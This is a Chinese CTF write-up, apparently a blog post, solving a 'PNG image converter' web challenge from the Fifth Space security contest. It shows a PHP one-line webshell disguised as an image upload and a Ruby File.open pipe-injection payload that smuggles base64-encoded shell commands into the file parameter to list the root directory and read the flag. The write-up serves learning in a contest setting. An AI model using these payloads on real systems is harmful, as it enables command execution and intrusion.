第五空间智能安全⼤赛真题----------PNG图⽚转换器

第五空间智能安全⼤赛真题----------PNG图⽚转换器

解题步骤:

话不多说,看到题目有附件,下他,使用记事本打开发现是网页源代码,老样子,审!
请添加图片描述

经过代码审计可以看出,文件对 … / 符号进⾏了过滤,所以我们没办法直接进行上传

在convert中可以发现file.open漏洞可以利⽤。

首先我们理解一下这句话的含义上传文件/png 格式,返回base64加密后的文件名

 "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"

让我们随意上传一个.png文件,内容为一句话木马,万一成功了吗?

GIF89a
<?php phpinfo(); @eval($_POST['123']); ?>

点击upload显示上传成功

请添加图片描述

我们可以看到文件名已经被修改,接下来让我们转换一下文件内容,点击convert
请添加图片描述
输入上面修改后的文件名,点击submit
请添加图片描述

不难发现我们的文件内容已经被base64加密过了
请添加图片描述

那我们直接上传一句话木马的方法就不行啦,但是它既然读取了文件,虽然进行了base64加密,我们也可以直接把我们shell命令放进去再解密就好

但是上面经过代码审计已经过滤了 … / 符号,所以这里我们使用 `` 反引号和 || 管道符来进行我们想要的操作,这里先介绍一下反引号和管道符的作用

反引号:

在反引号之间的命令行中也可以使用shell的特殊字符。Shell为得到反引号中命令的结果,它实际上要去执行反引号中指定的命令。执行时,命令中的特殊字符,如$,”,?等又将具有特殊含义,并且反引号所包含的可以是任何一个合法的Shell命令

$ ls
note readme.txt Notice Unix.dir
$ TestString="`echo $HOME ` ` ls [nN]*`"
$ echo $TestString
/home/yxz note Notice

引用链接:https://blog.csdn.net/weixin_40240670/article/details/86694724

管道符:

一个命令的输出可以通过管道做为另一个命令的输入。

“|”是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推

使用bp抓包,使用刚才上传后文件名,点击sumbit
请添加图片描述
我们可以看到下面有转换图⽚的包,发包到repeater
请添加图片描述

所以我们从这里入手,源文件对上传文件转换使用了base64加密,那么我们利用反引号对反引号内shell命令执行,接着使用管道符对转换后文件进行再解密

这里我们使用 ls / 来查看它根目录下文件,对命令进行base64加密,管道符右边添加base64解密指令,将shell命令输出到所上传的图片文件中。
请添加图片描述请添加图片描述
报错,重新审发现管道符少打一个。。。。。。重新send

file=|`echo bHMgLw== | base64 -d`>4755211f043684058811cb50d9ddb4df.png

请添加图片描述
render中似乎没有什么东西,进入页面看看

请添加图片描述
看到一串base64加密过的内容,解!使用hackbar
请添加图片描述
选中 base64 decode,将上面内容进行解密可以看到其根目录,有一个flag_9707文件
请添加图片描述
既然已经知道flag位置,那么我们直接进行cat指令的输入,老方法,对 cat /flag_9707 进行base64加密,管道符右边添加base64解密指令,将shell命令输出flag内容到所上传的图片文件中
请添加图片描述请添加图片描述

file=|`echo Y2F0IC9mbGFnXzk3MDc= | base64 -d`>4755211f043684058811cb50d9ddb4df.png

点击send没有报错,进入页面查看
请添加图片描述
对后面内容进行解密即可得出flag

请添加图片描述

ctfhub{4d99ffb30443051a909a2e0d}

文中多有不足,求大佬轻喷。。。。

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值